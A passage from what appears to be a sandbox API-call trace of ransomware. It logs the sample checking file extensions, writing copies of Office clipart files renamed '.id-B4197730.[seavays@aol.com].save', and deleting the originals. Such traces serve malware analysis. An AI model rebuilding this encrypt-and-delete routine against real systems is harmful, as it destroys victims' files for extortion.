Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0068.716] lstrlenW (lpString=".zip") returned 4 [0068.717] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.717] lstrlenW (lpString=".rar") returned 4 [0068.717] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.717] lstrlenW (lpString=".bz2") returned 4 [0068.717] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.717] lstrlenW (lpString=".7z") returned 3 [0068.717] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0068.717] lstrlenW (lpString=".dbf") returned 4 [0068.717] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0068.717] lstrlenW (lpString=".1cd") returned 4 [0068.717] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.717] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLASSIC2.WMF") returned 68 [0068.717] lstrlenW (lpString=".jpg") returned 4 [0068.717] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.717] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.717] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.718] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0068.718] GetLastError () returned 0x0 [0068.718] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x8d6, lpOverlapped=0x0) returned 1 [0068.719] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x8e0, lpOverlapped=0x0) returned 1 [0068.720] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0068.720] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe4, lpOverlapped=0x0) returned 1 [0068.720] SetEndOfFile (hFile=0x314) returned 1 [0068.721] CloseHandle (hObject=0x314) returned 1 [0068.721] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.722] SetEndOfFile (hFile=0x36c) returned 1 [0068.722] CloseHandle (hObject=0x36c) returned 1 [0068.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0068.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1 [0068.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0068.723] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0068.723] lstrlenW (lpString=".doc") returned 4 [0068.723] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0068.723] lstrlenW (lpString=".docx") returned 5 [0068.723] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1 [0068.723] lstrlenW (lpString=".pdf") returned 4 [0068.723] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0068.723] lstrlenW (lpString=".xls") returned 4 [0068.723] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0068.723] lstrlenW (lpString=".xlsx") returned 5 [0068.723] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1 [0068.723] lstrlenW (lpString=".ppt") returned 4 [0068.723] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0068.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0068.724] lstrlenW (lpString=".zip") returned 4 [0068.724] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0068.724] lstrlenW (lpString=".rar") returned 4 [0068.724] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0068.724] lstrlenW (lpString=".bz2") returned 4 [0068.724] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0068.724] lstrlenW (lpString=".7z") returned 3 [0068.724] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0068.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0068.724] lstrlenW (lpString=".dbf") returned 4 [0068.724] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0068.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0068.724] lstrlenW (lpString=".1cd") returned 4 [0068.724] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0068.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64 [0068.724] lstrlenW (lpString=".jpg") returned 4 [0068.724] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0068.724] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.724] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0068.725] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0068.725] GetLastError () returned 0x0 [0068.725] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x1496, lpOverlapped=0x0) returned 1 [0068.726] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x14a0, lpOverlapped=0x0) returned 1 [0069.134] ReadFile (in: hFile=0x36c, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0069.145] WriteFile (in: hFile=0x314, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe6, lpOverlapped=0x0) returned 1 [0069.145] SetEndOfFile (hFile=0x314) returned 1 [0069.145] CloseHandle (hObject=0x314) returned 1 [0069.146] SetFilePointerEx (in: hFile=0x36c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0069.146] SetEndOfFile (hFile=0x36c) returned 1 [0069.148] CloseHandle (hObject=0x36c) returned 1 [0069.148] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0069.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\crane.wmf")) returned 1 [0069.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0069.536] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0069.536] lstrlenW (lpString=".doc") returned 4 [0069.536] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0069.536] lstrlenW (lpString=".docx") returned 5 [0069.536] lstrcmpiW (lpString1=".docx", lpString2="E.WMF") returned -1 [0069.536] lstrlenW (lpString=".pdf") returned 4 [0069.536] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0069.536] lstrlenW (lpString=".xls") returned 4 [0069.536] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0069.536] lstrlenW (lpString=".xlsx") returned 5 [0069.536] lstrcmpiW (lpString1=".xlsx", lpString2="E.WMF") returned -1 [0069.537] lstrlenW (lpString=".ppt") returned 4 [0069.537] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0069.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0069.537] lstrlenW (lpString=".zip") returned 4 [0069.537] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0069.537] lstrlenW (lpString=".rar") returned 4 [0069.537] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0069.537] lstrlenW (lpString=".bz2") returned 4 [0069.537] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0069.537] lstrlenW (lpString=".7z") returned 3 [0069.537] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0069.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0069.537] lstrlenW (lpString=".dbf") returned 4 [0069.537] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0069.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0069.537] lstrlenW (lpString=".1cd") returned 4 [0069.537] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0069.537] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CRANE.WMF") returned 65 [0069.537] lstrlenW (lpString=".jpg") returned 4 [0069.537] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.625] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.625] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0071.797] GetLastError () returned 0x0 [0071.797] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x44b0, lpOverlapped=0x0) returned 1 [0071.799] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0x44c0, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0x44c0, lpOverlapped=0x0) returned 1 [0071.800] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.800] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0071.800] SetEndOfFile (hFile=0x310) returned 1 [0071.801] CloseHandle (hObject=0x310) returned 1 [0071.801] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.801] SetEndOfFile (hFile=0x378) returned 1 [0071.802] CloseHandle (hObject=0x378) returned 1 [0071.802] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.802] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00405_.wmf")) returned 1 [0071.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0071.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0071.803] lstrlenW (lpString=".doc") returned 4 [0071.803] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.803] lstrlenW (lpString=".docx") returned 5 [0071.803] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.803] lstrlenW (lpString=".pdf") returned 4 [0071.803] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.803] lstrlenW (lpString=".xls") returned 4 [0071.803] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.803] lstrlenW (lpString=".xlsx") returned 5 [0071.803] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.803] lstrlenW (lpString=".ppt") returned 4 [0071.803] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.803] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0071.804] lstrlenW (lpString=".zip") returned 4 [0071.804] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.804] lstrlenW (lpString=".rar") returned 4 [0071.804] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.804] lstrlenW (lpString=".bz2") returned 4 [0071.804] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.804] lstrlenW (lpString=".7z") returned 3 [0071.804] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0071.804] lstrlenW (lpString=".dbf") returned 4 [0071.804] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0071.804] lstrlenW (lpString=".1cd") returned 4 [0071.804] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.804] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00405_.WMF") returned 68 [0071.804] lstrlenW (lpString=".jpg") returned 4 [0071.804] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.805] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.805] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0071.805] GetLastError () returned 0x0 [0071.805] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xe6c, lpOverlapped=0x0) returned 1 [0071.807] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe70, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe70, lpOverlapped=0x0) returned 1 [0071.808] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.808] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0071.809] SetEndOfFile (hFile=0x310) returned 1 [0071.809] CloseHandle (hObject=0x310) returned 1 [0071.809] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.809] SetEndOfFile (hFile=0x378) returned 1 [0071.810] CloseHandle (hObject=0x378) returned 1 [0071.810] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.810] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01138_.wmf")) returned 1 [0071.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0071.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0071.811] lstrlenW (lpString=".doc") returned 4 [0071.811] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.811] lstrlenW (lpString=".docx") returned 5 [0071.811] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.811] lstrlenW (lpString=".pdf") returned 4 [0071.811] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.811] lstrlenW (lpString=".xls") returned 4 [0071.811] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.811] lstrlenW (lpString=".xlsx") returned 5 [0071.811] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.811] lstrlenW (lpString=".ppt") returned 4 [0071.811] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0071.812] lstrlenW (lpString=".zip") returned 4 [0071.812] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.812] lstrlenW (lpString=".rar") returned 4 [0071.812] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.812] lstrlenW (lpString=".bz2") returned 4 [0071.812] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.812] lstrlenW (lpString=".7z") returned 3 [0071.812] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0071.812] lstrlenW (lpString=".dbf") returned 4 [0071.812] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0071.812] lstrlenW (lpString=".1cd") returned 4 [0071.812] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01138_.WMF") returned 68 [0071.812] lstrlenW (lpString=".jpg") returned 4 [0071.812] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.813] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.813] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0071.813] GetLastError () returned 0x0 [0071.813] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0xe30, lpOverlapped=0x0) returned 1 [0071.817] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xe40, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xe40, lpOverlapped=0x0) returned 1 [0071.818] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesRead=0x33cfecc*=0x0, lpOverlapped=0x0) returned 1 [0071.818] WriteFile (in: hFile=0x310, lpBuffer=0x3e10020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e10020*, lpNumberOfBytesWritten=0x33cfc94*=0xec, lpOverlapped=0x0) returned 1 [0071.818] SetEndOfFile (hFile=0x310) returned 1 [0071.818] CloseHandle (hObject=0x310) returned 1 [0071.818] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.818] SetEndOfFile (hFile=0x378) returned 1 [0071.819] CloseHandle (hObject=0x378) returned 1 [0071.819] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0071.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01139_.wmf")) returned 1 [0071.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0071.820] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0071.820] lstrlenW (lpString=".doc") returned 4 [0071.820] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.820] lstrlenW (lpString=".docx") returned 5 [0071.820] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.820] lstrlenW (lpString=".pdf") returned 4 [0071.820] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.820] lstrlenW (lpString=".xls") returned 4 [0071.820] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.821] lstrlenW (lpString=".xlsx") returned 5 [0071.821] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.821] lstrlenW (lpString=".ppt") returned 4 [0071.821] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0071.821] lstrlenW (lpString=".zip") returned 4 [0071.821] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.821] lstrlenW (lpString=".rar") returned 4 [0071.821] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.821] lstrlenW (lpString=".bz2") returned 4 [0071.821] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.821] lstrlenW (lpString=".7z") returned 3 [0071.821] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0071.821] lstrlenW (lpString=".dbf") returned 4 [0071.821] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0071.821] lstrlenW (lpString=".1cd") returned 4 [0071.821] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01139_.WMF") returned 68 [0071.821] lstrlenW (lpString=".jpg") returned 4 [0071.821] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.822] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.822] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec0 | out: lpNewFilePointer=0x0) returned 1 [0071.822] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD01140_.WMF.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd01140_.wmf.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x310 [0071.823] GetLastError () returned 0x0 [0071.823] ReadFile (in: hFile=0x378, lpBuffer=0x3e10020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfecc, lpOverlapped=0x0 | out: 